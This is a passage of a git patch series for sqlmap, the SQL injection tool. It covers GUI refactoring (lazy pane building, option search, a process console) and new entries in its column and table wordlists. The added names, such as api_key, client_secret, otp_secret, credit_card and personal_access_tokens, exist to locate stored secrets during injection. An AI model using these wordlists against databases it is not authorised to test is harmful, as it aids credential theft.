self._ensureNavVisible(n) if self.currentPane == n else None) if hasattr(self, "hint"): # don't leave the previous section's option hint lingering self.hint.set(HINT_DEFAULT) @@ -678,7 +1040,6 @@ def _ensureNavVisible(self, name): # scroll the sidebar so the active item stays in view (e.g. when paging with Up/Down) try: row = self.navItems[name][0] - self.nav.update_idletasks() total = self.nav.winfo_height() viewH = self.navCanvas.winfo_height() if total <= 1 or viewH <= 1: @@ -694,8 +1055,14 @@ def _ensureNavVisible(self, name): pass def _onWheel(self, event): - # route the wheel to whichever scroll region the pointer is over (sidebar or content) - delta = 1 if getattr(event, "num", None) == 5 or getattr(event, "delta", 0) < 0 else -1 + # Route the wheel only when the pointer is actually over this window's sidebar/content. + rawDelta = getattr(event, "delta", 0) + if getattr(event, "num", None) == 5: + delta = 1 + elif getattr(event, "num", None) == 4: + delta = -1 + else: + delta = -int(rawDelta / 120) if abs(rawDelta) >= 120 else (-1 if rawDelta > 0 else 1) target = None node = self.window.winfo_containing(event.x_root, event.y_root) while node is not None: @@ -709,26 +1076,248 @@ def _onWheel(self, event): node = node.master except Exception: break - if target is None and self.currentPane: - target = self.canvases.get(self.currentPane) if target is not None: target.yview_scroll(delta, "units") + return "break" + return None + + def _schedulePanePrebuild(self, delay=1): + if self._prebuildJob is not None: + return + try: + self._prebuildJob = self.window.after(delay, self._pumpPanePrebuild) + except Exception: + self._prebuildJob = None + + def _prioritizePaneBuild(self, name): + if name in self.built: + return + try: + self._prebuildQueue.remove(name) + except ValueError: + pass + self._prebuildQueue.insert(0, name) + self._schedulePanePrebuild() + + def _buildPaneSlice(self, name, budgetMs=7, minimumSteps=1): + if name in self.built: + return True + builder = self.builders.get(name) + if builder is None: + self.built.add(name) + return True + state = self.buildStates.get(name) + if state is None: + state = builder(self.inners[name]) + self.buildStates[name] = state + + deadline = _clock() + max(0.001, budgetMs / 1000.0) + steps = 0 + while steps < minimumSteps or _clock() < deadline: + try: + next(state) + steps += 1 + except StopIteration: + self.buildStates.pop(name, None) + self.built.add(name) + try: + self._prebuildQueue.remove(name) + except ValueError: + pass + return True + except Exception: + # A broken optional field should not make the whole GUI unusable. + self.buildStates.pop(name, None) + self.built.add(name) + try: + self._prebuildQueue.remove(name) + except ValueError: + pass + return True + return False + + def _pumpPanePrebuild(self): + self._prebuildJob = None + while self._prebuildQueue and self._prebuildQueue[0] in self.built: + self._prebuildQueue.pop(0) + if not self._prebuildQueue: + return + + name = self._prebuildQueue[0] + finished = self._buildPaneSlice(name, budgetMs=7, minimumSteps=1) + if finished and self._prebuildQueue and self._prebuildQueue[0] == name: + self._prebuildQueue.pop(0) + # Yield to pointer, keyboard, expose and paint events after every small slice. + self._schedulePanePrebuild(1) + + def _scheduleSearch(self, *unused): + if self._searchJob is not None: + try: + self.window.after_cancel(self._searchJob) + except Exception: + pass + self._searchJob = self.window.after(90, self._applySearch) + + def _applySearch(self): + self._searchJob = None + query = self.searchVar.get().strip().lower() + if not query: + self.searchMatches = [] + self.searchList.delete(0, self.tk.END) + self.searchList.pack_forget() + return + + tokens = query.split() + matches = [] + for dest, index, label, section, flag, haystack in self.searchIndex: + if not all(token in haystack for token in tokens): + continue + score = 0 + if dest.lower().startswith(query): + score -= 40 + if flag.lower().startswith(query) or flag.lower().startswith("--" + query): + score -= 30 + if label.lower().startswith(query): + score -= 20 + if section.lower().startswith(query): + score -= 10 + matches.append((score, index, dest, label, section)) + + matches.sort() + matches = matches[:MAX_SEARCH_RESULTS] + self.searchMatches = [item[2] for item in matches] + self.searchList.delete(0, self.tk.END) + for _, _, dest, label, section in matches: + shortSection = NAV_ALIASES.get(section, section) + self.searchList.insert(self.tk.END, "%s [%s]" % (label, shortSection)) + + if matches: + self.searchList.configure(height=min(7, len(matches))) + self.searchList.pack(fill=self.tk.X, padx=9, pady=(0, 7), before=self.navCanvas) + self.searchList.selection_clear(0, self.tk.END) + self.searchList.selection_set(0) + self.searchList.activate(0) + else: + self.searchList.insert(self.tk.END, "No matching options") + self.searchList.configure(height=1) + self.searchList.pack(fill=self.tk.X, padx=9, pady=(0, 7), before=self.navCanvas) + + def _searchMoveDown(self, event=None): + if self.searchMatches: + self.searchList.focus_set() + self.searchList.selection_clear(0, self.tk.END) + self.searchList.selection_set(0) + self.searchList.activate(0) return "break" + def _clickSearchResult(self, event): + if not self.searchMatches: + return "break" + try: + index = int(self.searchList.nearest(event.y)) + except Exception: + index = 0 + if index < 0 or index >= len(self.searchMatches): + return "break" + # Resolve the clicked row ourselves instead of depending on Listbox class + # bindings, whose selection update happens after this widget binding. + self.searchList.selection_clear(0, self.tk.END) + self.searchList.selection_set(index) + self.searchList.activate(index) + return self._activateSearchIndex(index) + + def _activateSearchResult(self, event=None): + if not self.searchMatches: + return "break" + selection = self.searchList.curselection() + index = int(selection[0]) if selection else 0 + return self._activateSearchIndex(index) + + def _activateSearchIndex(self, index): + if not self.searchMatches: + return "break" + if index < 0 or index >= len(self.searchMatches): + index = 0 + dest = self.searchMatches[index] + section = self.sectionByDest.get(dest) + self.searchVar.set("") + if section in self.panes: + self._selectPane(section) + self._focusOptionWhenReady(dest, section) + elif dest == "url": + self._focusTarget() + return "break" + + def _focusOptionWhenReady(self, dest, paneName): + # A search can jump to an option that the incremental pane builder has not + # created yet. Continue that pane in tiny slices and focus as soon as the + # requested widget exists, without blocking the click handler. + for candidatePane, candidateWidget in self.controlsByDest.get(dest, ()): + if candidatePane == paneName: + self.window.after_idle(lambda d=dest, p=paneName: self._focusOption(d, p)) + return + if paneName not in self.built: + self._prioritizePaneBuild(paneName) + self._buildPaneSlice(paneName, budgetMs=6, minimumSteps=1) + self.window.after(1, lambda d=dest, p=paneName: self._focusOptionWhenReady(d, p)) + + def _focusOption(self, dest, paneName): + candidates = self.controlsByDest.get(dest, ()) + widget = None + for candidatePane, candidateWidget in candidates: + if candidatePane == paneName: + widget = candidateWidget + break + if widget is None and candidates: + widget = candidates[0][1] + if widget is None: + return + try: + widget.focus_set() + if isinstance(widget, (self.ttk.Entry, self.ttk.Combobox)): + widget.select_range(0, "end") + canvas = self.canvases.get(paneName) + inner = self.inners.get(paneName) + if canvas is not None and inner is not None: + inner.update_idletasks() + total = max(1, inner.winfo_height()) + canvas.yview_moveto(max(0.0, min(1.0, float(widget.winfo_y() - 30) / total))) + except Exception: + pass + + def _buildPaneHeading(self, parent, title, description, optionCount): + p = PALETTE + card = self.tk.Frame(parent, background=p["surface0"], highlightthickness=1, + highlightbackground=p["border"], borderwidth=0) + card.grid(row=0, column=0, columnspan=2, sticky="ew", pady=(0, 16)) + accent = self.tk.Frame(card, background=self._iconColor(title), width=5) + accent.pack(side=self.tk.LEFT, fill=self.tk.Y) + content = self.ttk.Frame(card, style="PaneHeader.TFrame", padding=(14, 10, 14, 10)) + content.pack(side=self.tk.LEFT, fill=self.tk.BOTH, expand=True) + titleRow = self.ttk.Frame(content, style="PaneHeader.TFrame") + titleRow.pack(fill=self.tk.X) + self.ttk.Label(titleRow, text=title, style="Pane.TLabel").pack(side=self.tk.LEFT) + self.ttk.Label(titleRow, text="%d option%s" % (optionCount, "" if optionCount == 1 else "s"), + style="PaneCount.TLabel").pack(side=self.tk.RIGHT, pady=(6, 0)) + if description: + self.ttk.Label(content, text=description, style="PanelHint.TLabel", wraplength=690, + justify="left").pack(fill=self.tk.X, pady=(3, 0)) + def _buildQuickStartPane(self): name = "Quick start" self._addPane(name, name) self.sectionDests[name] = [_ for _ in QUICK_START_DESTS if _ in self.optionByDest] def build(inner): - self.ttk.Label(inner, text="Quick start", style="Pane.TLabel").grid(row=0, column=0, columnspan=2, sticky="w") - self.ttk.Label(inner, text="The options people reach for most. Set the target above, tick what you want, then Run.", - style="Desc.TLabel", wraplength=640, justify="left").grid(row=1, column=0, columnspan=2, sticky="w", pady=(2, 14)) - row = 2 + description = "The options people reach for most. Set the target above, choose what you need, then Run." + self._buildPaneHeading(inner, name, description, len(self.sectionDests[name])) + yield + row = 1 for dest in QUICK_START_DESTS: option = self.optionByDest.get(dest) if option is not None: - row = self._buildFieldRow(inner, option, row) + row = self._buildFieldRow(inner, option, row, paneName=name) + yield inner.columnconfigure(1, weight=1) self.builders[name] = build @@ -739,61 +1328,50 @@ def _buildGroupPane(self, group): self.sectionDests[title] = [_optDest(_) for _ in _groupOptions(group) if _optDest(_)] def build(inner, group=group, title=title): - self.ttk.Label(inner, text=title, style="Pane.TLabel").grid(row=0, column=0, columnspan=2, sticky="w") + self._buildPaneHeading(inner, title, _groupDescription(group), len(self.sectionDests[title])) + yield row = 1 - description = _groupDescription(group) - if description: - self.ttk.Label(inner, text=description, style="Desc.TLabel", wraplength=640, justify="left").grid( - row=row, column=0, columnspan=2, sticky="w", pady=(2, 14)) - row += 1 for option in _groupOptions(group): - row = self._buildFieldRow(inner, option, row) + row = self._buildFieldRow(inner, option, row, paneName=title) + yield inner.columnconfigure(1, weight=1) self.builders[title] = build def _destVar(self, dest, is_bool): - # one shared variable per option, so every widget that edits it (Quick start pane, - # the proper group pane, the target bar) reflects into the same value both ways + # One shared effective-value variable per option, reflected in every duplicate control. if dest not in self.vars: - self.vars[dest] = self.tk.IntVar() if is_bool else self.tk.StringVar() + var = self.tk.BooleanVar(value=False) if is_bool else self.tk.StringVar(value="") + self.vars[dest] = var + self.widgets[dest] = ("bool" if is_bool else "string", var) + try: + var.trace("w", self._onOptionChanged) + except Exception: + pass return self.vars[dest] - def _buildFieldRow(self, parent, option, row): - p = PALETTE - tk = self.tk - label = _optionLabel(option) + def _buildFieldRow(self, parent, option, row, labelText=None, paneName=None): + label = labelText or _optionLabel(option) helptext = _optHelp(option) dest = _optDest(option) + if not dest: + return row is_bool = not _optTakesValue(option) - firstSeen = dest not in self.vars - - def bindHint(widget): - widget.bind("", lambda e: self.hint.set(helptext), add="+") - widget.bind("", lambda e: self.hint.set(helptext), add="+") - widget.bind("", lambda e: self.hint.set(HINT_DEFAULT), add="+") - widget.bind("", lambda e: self.hint.set(HINT_DEFAULT), add="+") if is_bool: var = self._destVar(dest, True) - chk = self.ttk.Checkbutton(parent, text=label, variable=var, takefocus=True) + default = bool(defaults.get(dest)) + chk = self.ttk.Checkbutton(parent, text=label, variable=var, + onvalue=(not default), offvalue=default, takefocus=True) chk.grid(row=row, column=0, columnspan=2, sticky="w", pady=5) - _Tooltip(chk, helptext, tk, p) - bindHint(chk) - if firstSeen: - self.widgets[dest] = ("bool", var) + self.tooltip.attach(chk, helptext) + self.controlsByDest.setdefault(dest, []).append((paneName, chk)) else: otype = _optValueType(option) var = self._destVar(dest, False) - if firstSeen: - default = defaults.get(dest) - if default not in (None, False): - var.set(default) - self.widgets[dest] = (otype, var) lab = self.ttk.Label(parent, text=label, style="Field.TLabel") lab.grid(row=row, column=0, sticky="w", padx=(0, 18), pady=6) - _Tooltip(lab, helptext, tk, p) - bindHint(lab) + self.tooltip.attach(lab, helptext) choices = _optChoices(option) if choices: widget = self.ttk.Combobox(parent, values=list(choices), state="readonly", textvariable=var) @@ -802,15 +1380,27 @@ def bindHint(widget): if otype in ("int", "float"): self._constrain(widget, otype) widget.grid(row=row, column=1, sticky="ew", pady=6) - _Tooltip(widget, helptext, tk, p) - bindHint(widget) + self.tooltip.attach(widget, helptext) + self.controlsByDest.setdefault(dest, []).append((paneName, widget)) return row + 1 def _constrain(self, entry, otype): - check = (lambda s: s == "" or s.replace(".", "", 1).isdigit()) if otype == "float" else (lambda s: s == "" or s.isdigit()) - vcmd = (self.window.register(lambda proposed: bool(check(proposed))), "%P") + def check(proposed): + if proposed in ("", "+", "-", ".", "+.", "-."): + return True + try: + if otype == "int": + int(proposed) + else: + float(proposed) + return True + except (TypeError, ValueError): + return False + + vcmd = (self.window.register(check), "%P") entry.configure(validate="key", validatecommand=vcmd) + # --- helpers -------------------------------------------------------- def _center(self, window, width=None, height=None): @@ -821,21 +1411,30 @@ def _center(self, window, width=None, height=None): y = window.winfo_screenheight() // 2 - height // 2 window.geometry("%dx%d+%d+%d" % (width, height, x, y)) + def _isOptionSet(self, dest): + item = self.widgets.get(dest) + if item is None: + return False + otype, var = item + try: + value = var.get() + except Exception: + return False + default = defaults.get(dest) + if otype == "bool": + return bool(value) != bool(default) + if value in (None, ""): + return False + displayDefault = "" if default in (None, False) else str(default) + return str(value) != displayDefault + def _updateStats(self): - setDests = set() - for dest, (otype, var) in self.widgets.items(): - try: - if otype == "bool": - if var.get(): - setDests.add(dest) - else: - raw = var.get() - if raw not in (None, "") and str(raw) != str(defaults.get(dest, "")): - setDests.add(dest) - except Exception: - pass + setDests = set(_ for _ in self.widgets if self._isOptionSet(_)) count = len(setDests) - self.stat.set("%d option%s set" % (count, "" if count == 1 else "s")) + status = "%d option%s set" % (count, "" if count == 1 else "s") + if self._isRunning(): + status += " | running" + self.stat.set(status) for name, dests in self.sectionDests.items(): badge = self.badges.get(name) if badge is not None: @@ -843,34 +1442,24 @@ def _updateStats(self): badge.configure(text=(str(hits) if hits else "")) def _buildCommandString(self): - parts = ["sqlmap.py"] - for dest, (otype, var) in self.widgets.items(): - option = self.optionByDest.get(dest) - if option is None: + argv = ["sqlmap.py"] + for dest in self.optionOrder: + if not self._isOptionSet(dest): continue - strings = _optStrings(option) - if not strings: + option = self.optionByDest.get(dest) + flag = _preferredFlag(option) if option is not None else "" + if not flag: continue - flag = strings[0] + otype, var = self.widgets[dest] try: - if otype == "bool": - if var.get(): - parts.append(flag) - else: - raw = var.get() - if raw not in (None, "") and str(raw) != str(defaults.get(dest, "")): - value = str(raw) - if " " in value or '"' in value: - value = '"%s"' % value.replace('"', '\\"') - parts.append("%s %s" % (flag, value)) + argv.append(flag) + if otype != "bool": + argv.append(_toText(var.get())) except Exception: pass - return " ".join(parts) - - def _tickStats(self): - self._updateStats() - self.command.set(self._buildCommandString()) - self.window.after(1200, self._tickStats) + if IS_WIN: + return _list2cmdline(argv) + return " ".join(_quoteArg(_) for _ in argv) def _copyCommand(self): try: @@ -880,6 +1469,22 @@ def _copyCommand(self): except Exception: pass + def _pasteTarget(self): + try: + value = self.window.clipboard_get() + self.vars["url"].set(_toText(value).strip()) + self.targetEntry.focus_set() + self.targetEntry.icursor("end") + except Exception: + self.hint.set("Clipboard does not contain text") + + def _clearTarget(self): + try: + self.vars["url"].set("") + self.targetEntry.focus_set() + except Exception: + pass + def _focusTarget(self): try: self.targetEntry.focus_set() @@ -888,6 +1493,24 @@ def _focusTarget(self): pass return "break" + def _focusSearch(self): + try: + self.searchEntry.focus_set() + self.searchEntry.select_range(0, "end") + except Exception: + pass + return "break" + + def _escapeAction(self, event=None): + try: + if self.searchVar.get(): + self.searchVar.set("") + self.searchEntry.focus_set() + return "break" + except Exception: + pass + return None + def _collectConfig(self): config = {} for dest, (otype, var) in self.widgets.items(): @@ -919,12 +1542,27 @@ def _setWidgetValue(self, dest, value): otype, var = self.widgets[dest] try: if otype == "bool": - var.set(1 if value else 0) + var.set(bool(value)) else: var.set("" if value in (None, False) else value) except Exception: pass + def resetOptions(self): + self._suspendRefresh = True + try: + for dest, (otype, var) in self.widgets.items(): + default = defaults.get(dest) + if otype == "bool": + var.set(bool(default)) + else: + var.set("" if default in (None, False) else default) + finally: + self._suspendRefresh = False + self._refreshDerivedState() + self.hint.set("All options reset to their defaults") + + # --- actions -------------------------------------------------------- def loadConfig(self): @@ -934,18 +1572,28 @@ def loadConfig(self): try: from thirdparty.six.moves import configparser as _configparser parser = _configparser.ConfigParser() + parser.optionxform = str parser.read(path) + byLower = dict((_.lower(), _) for _ in self.widgets) count = 0 - for section in parser.sections(): - for name, value in parser.items(section): - if name in self.widgets: - if self.widgets[name][0] == "bool": - self._setWidgetValue(name, str(value).lower() in ("1", "true", "yes", "on")) + self._suspendRefresh = True + try: + for section in parser.sections(): + for name, value in parser.items(section): + dest = name if name in self.widgets else byLower.get(name.lower()) + if dest is None: + continue + if self.widgets[dest][0] == "bool": + self._setWidgetValue(dest, str(value).lower() in ("1", "true", "yes", "on")) else: - self._setWidgetValue(name, value) + self._setWidgetValue(dest, value) count += 1 + finally: + self._suspendRefresh = False + self._refreshDerivedState() self.hint.set("Loaded %d options from %s" % (count, os.path.basename(path))) except Exception as ex: + self._suspendRefresh = False self.messagebox.showerror("Load failed", getSafeExString(ex)) def saveConfigDialog(self): @@ -959,85 +1607,294 @@ def saveConfigDialog(self): self.messagebox.showerror("Save failed", getSafeExString(ex)) def run(self): - config = self._collectConfig() - handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) - os.close(handle) - saveConfig(config, configFile) + if self._isRunning(): + self.hint.set("sqlmap is already running") + try: + self.consoleWindow.deiconify() + self.consoleWindow.lift() + except Exception: + pass + return + + configFile = None + try: + config = self._collectConfig() + handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) + os.close(handle) + saveConfig(config, configFile) + + env = os.environ.copy() + env.setdefault("PYTHONIOENCODING", "utf-8") + proc = subprocess.Popen( + [sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], + shell=False, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + stdin=subprocess.PIPE, + bufsize=0, + close_fds=not IS_WIN, + universal_newlines=False, + env=env, + ) + except Exception as ex: + self._cleanupConfigFile(configFile) + self.messagebox.showerror("Unable to start sqlmap", getSafeExString(ex)) + return - self.alive = True - self.process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], - shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, - bufsize=1, close_fds=not IS_WIN) - self.queue = _queue.Queue() + self._runSerial += 1 + serial = self._runSerial + outputQueue = _queue.Queue() + self.process = proc + self.processQueue = outputQueue + self.processConfigFile = configFile def enqueue(stream, queue): - for line in iter(stream.readline, b''): - queue.put(line) - self.alive = False - stream.close() + try: + for line in iter(stream.readline, b""): + if not line: + break + queue.put(_toText(line)) + except Exception as ex: + queue.put("\n[console reader error: %s]\n" % getSafeExString(ex)) + finally: + try: + stream.close() + except Exception: + pass + queue.put(None) - thread = threading.Thread(target=enqueue, args=(self.process.stdout, self.queue)) + thread = threading.Thread(target=enqueue, args=(proc.stdout, outputQueue)) thread.daemon = True thread.start() - self._openConsole() - def _openConsole(self): + self.hint.set("sqlmap started") + self._scheduleHeaderDraw() + self._refreshDerivedState() + self._openConsole(proc, outputQueue, serial) + self.window.after(200, lambda: self._watchProcess(proc, serial, configFile)) + + def _watchProcess(self, proc, serial, configFile): + if proc.poll() is None: + try: + self.window.after(200, lambda: self._watchProcess(proc, serial, configFile)) + except Exception: + pass + return + + self._cleanupConfigFile(configFile) + if self.process is proc and self._runSerial == serial: + self.process = None + self.processQueue = None + self.processConfigFile = None + self._scheduleHeaderDraw() + self._refreshDerivedState() + self.hint.set("sqlmap finished with exit code %s" % proc.returncode) + + def stopProcess(self, proc=None): + proc = proc or self.process + if proc is None or proc.poll() is not None: + return + self.hint.set("Stopping sqlmap...") + try: + if self.consoleStatus is not None: + self.consoleStatus.set("Stopping...") + except Exception: + pass + try: + proc.terminate() + except Exception as ex: + self.messagebox.showerror("Unable to stop sqlmap", getSafeExString(ex)) + return + + def forceKill(): + if proc.poll() is None: + try: + proc.kill() + except Exception: + pass + + self.window.after(1800, forceKill) + + def _cleanupConfigFile(self, path): + if path: + try: + os.remove(path) + except OSError: + pass + + def _appendConsole(self, text, content, forceScroll=False): + if not content: + return + try: + atBottom = text.yview()[1] >= 0.985 + text.configure(state="normal") + text.insert(self.tk.END, content) + lineCount = int(float(text.index("end-1c").split(".")[0])) + if lineCount > MAX_CONSOLE_LINES: + text.delete("1.0", "%d.0" % (lineCount - MAX_CONSOLE_LINES)) + text.configure(state="disabled") + if forceScroll or atBottom: + text.see(self.tk.END) + except Exception: + pass + + def _openConsole(self, proc, outputQueue, serial): p = PALETTE tk = self.tk + try: + if self.consoleWindow is not None and self.consoleWindow.winfo_exists(): + self.consoleWindow.destroy() + except Exception: + pass + top = tk.Toplevel(self.window) + self.consoleWindow = top top.title("sqlmap - console") - top.configure(background=p["crust"]) - frame = self.ttk.Frame(top, style="Card.TFrame", padding=10) - frame.configure(style="Card.TFrame") + top.configure(background=p["base"]) + + toolbar = self.ttk.Frame(top, style="Bar.TFrame", padding=(10, 8)) + toolbar.pack(fill=tk.X) + status = tk.StringVar(value="Running") + self.consoleStatus = status + self.ttk.Label(toolbar, textvariable=status, style="Stat.TLabel").pack(side=tk.LEFT) + stopButton = self.ttk.Button(toolbar, text="Stop", command=lambda: self.stopProcess(proc)) + stopButton.pack(side=tk.RIGHT, padx=(8, 0)) + self.ttk.Button(toolbar, text="Save log...", command=lambda: self._saveConsoleLog(text)).pack(side=tk.RIGHT, padx=(8, 0)) + self.ttk.Button(toolbar, text="Clear", command=lambda: self._clearConsole(text)).pack(side=tk.RIGHT) + + frame = self.ttk.Frame(top, style="Card.TFrame", padding=(10, 0, 10, 8)) frame.pack(fill=tk.BOTH, expand=True) - - text = self.scrolledtext.ScrolledText(frame, wrap=tk.WORD, bg=p["crust"], fg=p["text"], - insertbackground=p["blue"], relief="flat", borderwidth=0, - font=self.fonts["mono"], padx=12, pady=10) + text = self.scrolledtext.ScrolledText(frame, wrap=tk.NONE, bg=p["crust"], fg=p["consoleText"], + insertbackground=p["commandText"], selectbackground=p["sapphire"], + selectforeground="#ffffff", relief="sunken", borderwidth=2, + font=self.fonts["mono"], padx=12, pady=10, state="disabled") text.pack(fill=tk.BOTH, expand=True) - text.focus() - lineBuffer = {"value": ""} - - def onKey(event): - if self.process: - if event.char == "\b": - lineBuffer["value"] = lineBuffer["value"][:-1] - elif event.char: - lineBuffer["value"] += event.char - - def onReturn(event): - if self.process: + self.consoleText = text + self._appendConsole(text, "$ %s\n\n" % self.command.get(), forceScroll=True) + + inputBar = self.ttk.Frame(top, style="Bar.TFrame", padding=(10, 0, 10, 10)) + inputBar.pack(fill=tk.X) + self.ttk.Label(inputBar, text="Input:", style="Hint.TLabel").pack(side=tk.LEFT, padx=(0, 8)) + inputVar = tk.StringVar(value="") + inputEntry = self.ttk.Entry(inputBar, textvariable=inputVar) + inputEntry.pack(side=tk.LEFT, fill=tk.X, expand=True) + + def sendInput(event=None): + value = inputVar.get() + if proc.poll() is not None: + return "break" + try: + proc.stdin.write(_toBytes(_toText(value) + u"\n")) + proc.stdin.flush() + self._appendConsole(text, "> %s\n" % value, forceScroll=True) + inputVar.set("") + except Exception as ex: + self._appendConsole(text, "[input error: %s]\n" % getSafeExString(ex), forceScroll=True) + return "break" + + self.ttk.Button(inputBar, text="Send", command=sendInput).pack(side=tk.RIGHT, padx=(8, 0)) + inputEntry.bind("", sendInput) + inputEntry.focus_set() + + state = {"readerDone": False, "finishedShown": False} + + def pump(): + try: + if not top.winfo_exists(): + return + except Exception: + return + + chunks = [] + size = 0 + for _ in range(256): + try: + item = outputQueue.get_nowait() + except _queue.Empty: + break + if item is None: + state["readerDone"] = True + break + chunks.append(item) + size += len(item) + if size >= 131072: + break + if chunks: + self._appendConsole(text, "".join(chunks)) + + finished = proc.poll() is not None and state["readerDone"] and outputQueue.empty() + if finished and not state["finishedShown"]: + state["finishedShown"] = True + code = proc.returncode + self._appendConsole(text, "\n--- process finished (exit code %s) ---\n" % code, forceScroll=True) + status.set("Finished (exit code %s)" % code) try: - self.process.stdin.write(("%s\n" % lineBuffer["value"].strip()).encode()) - self.process.stdin.flush() + inputEntry.configure(state="disabled") + stopButton.configure(state="disabled") except Exception: pass - lineBuffer["value"] = "" - text.insert(tk.END, "\n") - return "break" + return + top.after(45 if chunks else 90, pump) + + def closeConsole(): + if proc.poll() is None: + if not self.messagebox.askyesno("Close console", "Stop the running sqlmap process and close the console?"): + return + self.stopProcess(proc) + try: + top.destroy() + except Exception: + pass + if self.consoleWindow is top: + self.consoleWindow = None + self.consoleText = None + self.consoleStatus = None - text.bind("", onKey) - text.bind("", onReturn) + top.protocol("WM_DELETE_WINDOW", closeConsole) + self._center(top, 920, 600) + top.after(45, pump) - def pump(): - drained = False + def _clearConsole(self, text): + try: + text.configure(state="normal") + text.delete("1.0", self.tk.END) + text.configure(state="disabled") + except Exception: + pass + + def _saveConsoleLog(self, text): + path = self.filedialog.asksaveasfilename(title="Save console log", defaultextension=".log", + filetypes=[("Log file", "*.log"), ("Text file", "*.txt"), ("All files", "*.*")]) + if not path: + return + try: + with io.open(path, "w", encoding="utf-8") as handle: + handle.write(_toText(text.get("1.0", "end-1c"))) + self.hint.set("Saved console log to %s" % os.path.basename(path)) + except Exception as ex: + self.messagebox.showerror("Save log failed", getSafeExString(ex)) + + def _closeApplication(self): + proc = self.process + if proc is not None and proc.poll() is None: + if not self.messagebox.askyesno("Exit sqlmap GUI", "Stop the running sqlmap process and exit?"): + return try: - while True: - line = self.queue.get_nowait() - text.insert(tk.END, line.decode("utf-8", errors="replace") if isinstance(line, bytes) else line) - drained = True - except _queue.Empty: + proc.terminate() + try: + _waitForProcess(proc, 1.2) + if proc.poll() is None: + proc.kill() + except Exception: + proc.kill() + except Exception: pass - if drained: - text.see(tk.END) - if self.alive or not self.queue.empty(): - top.after(80, pump) - else: - text.insert(tk.END, "\n--- process finished ---\n") - text.see(tk.END) + self._cleanupConfigFile(self.processConfigFile) + try: + self.window.destroy() + except Exception: + pass - self._center(top, 900, 580) - top.after(80, pump) def runGui(parser): try: From f88ecc007dc6399211f7396757b9766feb8d2978 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 17:17:58 +0200 Subject: [PATCH 792/853] Adding some more entries into common columns --- data/txt/common-columns.txt | 36 ++++++++++++++++++++++++++++++++++++ lib/core/settings.py | 2 +- 2 files changed, 37 insertions(+), 1 deletion(-) diff --git a/data/txt/common-columns.txt b/data/txt/common-columns.txt index a3d425bee12..3d35ae98a4e 100644 --- a/data/txt/common-columns.txt +++ b/data/txt/common-columns.txt @@ -2768,6 +2768,42 @@ shouji u_pass hashedPw +# API keys, tokens and secrets + +api_key +apikey +api_token +access_token +refresh_token +auth_token +session_token +remember_token +secret_key +client_secret +encryption_key +reset_token +password_reset_token +verification_token +confirmation_token +otp +otp_secret +totp_secret +mfa_secret +two_factor_secret + +# Framework and identity columns + +deleted_at +uuid +role +is_admin +is_active +is_verified +date_of_birth +dob +credit_card +postal_code + # password (international) adgangskode diff --git a/lib/core/settings.py b/lib/core/settings.py index a48c74a56a3..b015e2d8f55 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.135" +VERSION = "1.10.7.136" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c64870301fcb1f1488be1919330c78e7d7338f89 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 17:23:37 +0200 Subject: [PATCH 793/853] Adding some more entries into common tables --- data/txt/common-tables.txt | 9 +++++++++ lib/core/settings.py | 2 +- 2 files changed, 10 insertions(+), 1 deletion(-) diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index 855593c6af3..24e1f184bdd 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -3372,17 +3372,23 @@ django_session django_migrations django_content_type django_admin_log +auth_user_groups +auth_user_user_permissions # laravel migrations password_resets +password_reset_tokens failed_jobs personal_access_tokens job_batches model_has_roles model_has_permissions role_has_permissions +cache +cache_locks +notifications # rails @@ -3420,3 +3426,6 @@ subscriptions users_bak users_old orders_backup +user_roles +role_permissions +tokens diff --git a/lib/core/settings.py b/lib/core/settings.py index b015e2d8f55..ea7d8d0392c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.136" +VERSION = "1.10.7.137" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 47e98a02d0646b75e8842a787cc004d83a552edc Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 19 Jul 2026 17:39:30 +0200 Subject: [PATCH 794/853] Minor patch --- lib/core/settings.py | 2 +- lib/request/connect.py | 8 +++++++- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index ea7d8d0392c..ef951e6496f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.137" +VERSION = "1.10.7.138" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index b39e456ec91..ca94c570ae2 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -544,7 +544,13 @@ def getPage(**kwargs): break else: for i in 